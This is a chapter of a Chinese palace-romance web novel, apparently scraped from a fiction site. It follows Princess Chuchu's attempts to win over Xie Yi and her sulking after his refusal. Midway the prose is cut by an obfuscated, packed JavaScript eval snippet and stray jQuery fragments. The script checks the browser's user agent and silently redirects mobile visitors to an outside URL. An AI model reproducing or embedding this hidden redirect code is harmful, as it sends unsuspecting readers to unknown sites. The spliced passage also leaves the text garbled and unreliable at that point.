“别动。”
见谢翊一脸肃色的看着她,顿时什么话也说不出了。
太近了。
近到可以看清他的长睫根根分明,她轻声开口:“谢翊,你睫毛好长。”
寂静的堂内,谢翊没有接话,而是松开捏住下巴的手,将她抱上桌案,“别动,眼睛慢慢睁开我看看。”
温热的手指抚上她的眼睛,动作轻柔的缓缓撑开她的眼皮,瞬间双眼立刻敏感的紧闭。
“是不是进沙了,慢慢睁开,一会就好。”
本还十分抗拒的楚楚,在一声声温柔诱哄下,听话的把眼睛缓缓睁开。
就感受到一口气轻轻的吹到眼睛上,楚楚终于感觉好受了一些。
难受的那只眼睛不断眨着,瞬间泪水眨巴眨巴的流下,她才睁开眼睛看向面前的男人。
谢翊此刻已经退开身了,感受不到异物的存在后,楚楚跳下桌案,语气闷闷道:“谢翊,你昨日为我公然得罪了赵意欢。”
楚楚低着头,语气有些落寞委屈,不知为何却让谢翊有些不是滋味。
下一秒就听见她语出惊人:“不如,干脆站在我这边呗。”
谢翊无奈道:“公主,姑娘家不要随便说出这种话。”
“哪种话?本公主是邀请你做我的幕僚,又不是让你娶我,怎么就随便了。”
“公主,天色不早了,还是早点回宫吧。”
“谢翊!”
见他转身准备走,赶紧抓住他的衣袖,娇纵道:“不许走,你到底是什么意思。”
因谢翊转身后的面前也是墙,左手边才是过道。
楚楚立即闪身挡在他面前,背靠着墙,看起来像被谢翊拦住的样子。
“先前在松禄小筑碰见那次,其实是你跟了我一路,那日审讯,你也在地牢对吧。”
不等他否认,她又道:“最初在元泷郡救下你时,你身上全是刀伤,后来你能看见了,却一直瞒着不说,所以你来学宫的第一眼就认出了我,还早就察觉那日父皇在窗外窥听,所以次日才将我拦下开诚布公的谈话。”
“倘若你真的不会武,这些又如何解释,难道都是巧合吗?”
“若是我的消息没错,令尊曾在你幼时差点被接进宫抚养的那一次,在父皇面前发过誓,此生都不会让你练武,父皇才让你留在令尊身边长大。”
“所以凭借这些秘密,文序会考虑加入我吗?”
谢翊听着这些话,面上事不关己的样子,却一步步向她走近,将她逼的退无可退。
看着她,有些玩味道:“公主的邀请好不诚意,更像是在威胁。”
“怎么会,若真是威胁为何在元泷郡认出你的第一眼,不去找官兵抓你?”
“公主说不像便不像吧。”
“你还没回答我的问题。”
“抱歉,恕臣不能从命,臣也奉劝公主一句,有些事公主还是趁早抽身为好。”
硬的不吃,我就不信你软的也不吃。
“谢翊~”楚楚再抬眸看向他的时候,眼中含着泪水,欲落不落,“你当真不再考虑一下吗?”
衣角被她扯住,谢翊想走也走不掉,想拽出来,楚楚又不松手。
二人拉扯之际,楚楚一下没收住力,直直撞进谢翊的怀里。
大手揽住她的肩,好不让她摔。
好硬。
楚楚伸手揉了揉额头,口无遮拦道:“怎么这么硬,磕的好痛,快帮我看看有没有红肿。”
凑的好近,少女身上散发出的清香瞬间包裹住他,令他不能动弹。
软玉入怀,下意识将其揽住,怕人摔。
在他反应过来的瞬间僵住,松手了还保持着原有的姿势悬在空中,偏偏怀中的少女不自知,仰着头可怜兮兮的望向他。
喉结上下一滚动,声音顿时有些沙哑,“没红。”
“公主请自重。”
男人后退,眼神复杂的看向她,眸中意味不明,让楚楚有些不明所以。
仔细回想当时的场景,楚楚才顿悟了那个眼神。
“啊——没脸见人了,呜呜。”
刚清洗干净的头发从端月手中溜走,就见楚楚整个人浸入水中,忙提醒道:“公主,别憋久了。”
“哗——”
憋了一会气的楚楚从水中起身,抹了一把脸上的水,还是不能够睁眼。
慌忙走向池边:“端月端月,擦脸。”
端月赶忙拿起准备好的棉巾替她擦脸,楚楚才觉得活过来了了。
“公主想到什么了?”
楚楚一口气差点没喘上,连连摆手道:“没有没有,什么都没想。”
“水凉了,快更衣吧。”
之后几天在学堂碰上谢翊的课,楚楚不是捧起书册立在桌上不像看见他,就是借口没睡醒,自请出去罚站。
不明所以的林望沁夹在二人中间,可没少吃苦头。
比如上课她一转过头想找楚楚说句话,就被谢翊连名带姓的叫起来回答问题。
过了半月,谢翊终于发现楚楚的不对劲了,还反思是否是那日自己说话太重、太直。
还是又哪惹她不悦了,下学后想找她聊聊,却只换来一句,“抱歉,先生请自重。”
怕是反应再迟钝的人,也能发现不对劲了。
这日楚楚下学后径直朝学宫大门走去,与他插肩而过,不去理会谢翊的话。
现在进进出出的人不少,就是仗着这点,楚楚才敢如此明目张胆的不理会他。
她笃定谢翊不敢当着这么多人的面对她怎么样。
可事实证明她想错了。
楚楚就差一脚踏出学宫大门时,谢翊从身后出现,众目睽睽之下,一把拉过楚楚朝内走去。
刚迎上前,准备接过书箱的端月:“……”
与楚楚走在一起的林望沁,见她被拉走,当即就要追上去,端月手急眼快,立马叫住她:“林小姐,近来气色越发好了呀。”
连续熬夜看话本的林望沁还真信了,下意识抚上自己的脸:“当真?我娘还说我变丑了,看来她的话不可信。”
又问候在一旁的贴身婢女,“知夏,你觉得如何?”
知夏看向楚楚被拉走的方向,注意力还有些分散,被一叫立马回神。
知夏应和道:“奴婢觉着端月姐姐说的不错,等回去再用凝肤膏敷一下脸,小姐您的气色就会更好了。”
端月见状,递给她一个放心的眼神,知夏了然,哄着自家小姐离宫回家去了。
自己则等在门口,毕竟这半月,她们这些贴身伺候的哪看不出自家主子不高兴。
能牵动公主情绪的除了淑妃娘娘和六公主,怕是只有公主偷偷留意了这么多年的谢世子了。
这边满脸写着我很不高兴的楚楚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423289|184821||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还没从被谢翊在众目睽睽之下拉走的震惊中反应过来。
就见那张好看的脸就出现在她面前,“你近日怎么看起来很不高兴。”
楚楚扭过头去不看他:“没有,本公主很高兴。”
“你为何不高兴?”
“我高兴。”
“是因为那日我没答应你吗?”
“不是,别自作多情。”
见她不配合,谢翊只好继续猜:“那是你近日身子不适?”
身子不适?怕是想说是不是她来葵水了吧!
楚楚越想越不爽,直白道:“你不是拒绝了我,还来找我做什么。”
“既然谢世子眼高于顶,本宫既入不了世子的眼,自当离世子远远的,省的惹世子不快。”
一听果然是因为那日之事,谢翊试图解释:“公主误会了,公主金尊玉贵,是谢某高攀了才是,因此才更希望公主不被世俗之事所沾染,免得惹自己烦忧。”
好哄的楚楚听完将语气放软了一些:“不管,总之你就是让我很不高兴。”
“公主救我,还替我隐瞒秘密,臣对公主不仅仅是感激,更多的是想报答,这种危险的事不想让公主参与,是为公主安全着想。”
谢翊顿了一瞬,还是叮嘱道:“另还望公主多加提防定远侯,虽他是公主的舅父,可有些时候,亲人之间也不可不防。”
听见这话,楚楚脾气一下没了,她与定远侯之间是怎么回事,她自己最清楚。
旁人只会让她多关心母家的外祖母,多关照定远侯府,以前只有母妃会让她远离,现在又多出来一个谢翊。
她就是再迟钝,也知道定远侯府的不对劲,或者说是舅父陈岷的不对劲。
他的特殊对楚楚来说是独一无二的,或许是当初鼓励她去寻找希望活下去的样子,让楚楚对他永远有一层滤镜。
可楚楚心里清楚,嘴上却不说:“谢世子又不愿做本公主的幕僚,一边却仍要管本宫的私事,恕本宫无法认同。”
没说知道,而是又将话绕回了原点。
而后径直离开,留下谢翊在原地一头雾水的看着她远去。
刚回宫的楚楚就见陈舒坐在外殿喝茶,行礼过后还没开口,就听陈舒道:“明日去侯府看望一下你外祖母,她近日来身子不大爽利,明日来我这取些补品带去,学宫那边替你告假了。”
楚楚知道母妃心里对外祖母还是在乎的,于是乖乖应下:“是。”
陈舒放下手中的茶盏,起身准备离开,楚楚见人要走,挽留道:“母妃用过饭再走吧。”
“不了。”言罢径直带着宫人们头也不回的走了。
楚楚看着陈舒离开的方向久久站在原地未动。
翌日清晨。
因昨日守夜的是端月,导致楚楚今日懒床是被云俏拉起,迷迷糊糊的梳洗打扮好了才清醒过来。
看见铜镜一旁的檀木匣子,才想起来当初元泷郡买回来的那两把篦梳,取出其中一把,将螺钿镶嵌对梳留匣内。
吩咐宫人将梳子给在瑶安宫的赵华初送去。
刚回来时不便拿出,怕露出马脚,惹人怀疑,这段时间风头过去了,正好可以给小初了。
“公主,这把梳子好生别致。”云俏看着那把琼玉透雕回纹篦说道。
楚楚将这把梳子拿起递给她,“用这把吧,新梳子总归是要用用看趁不趁手的。”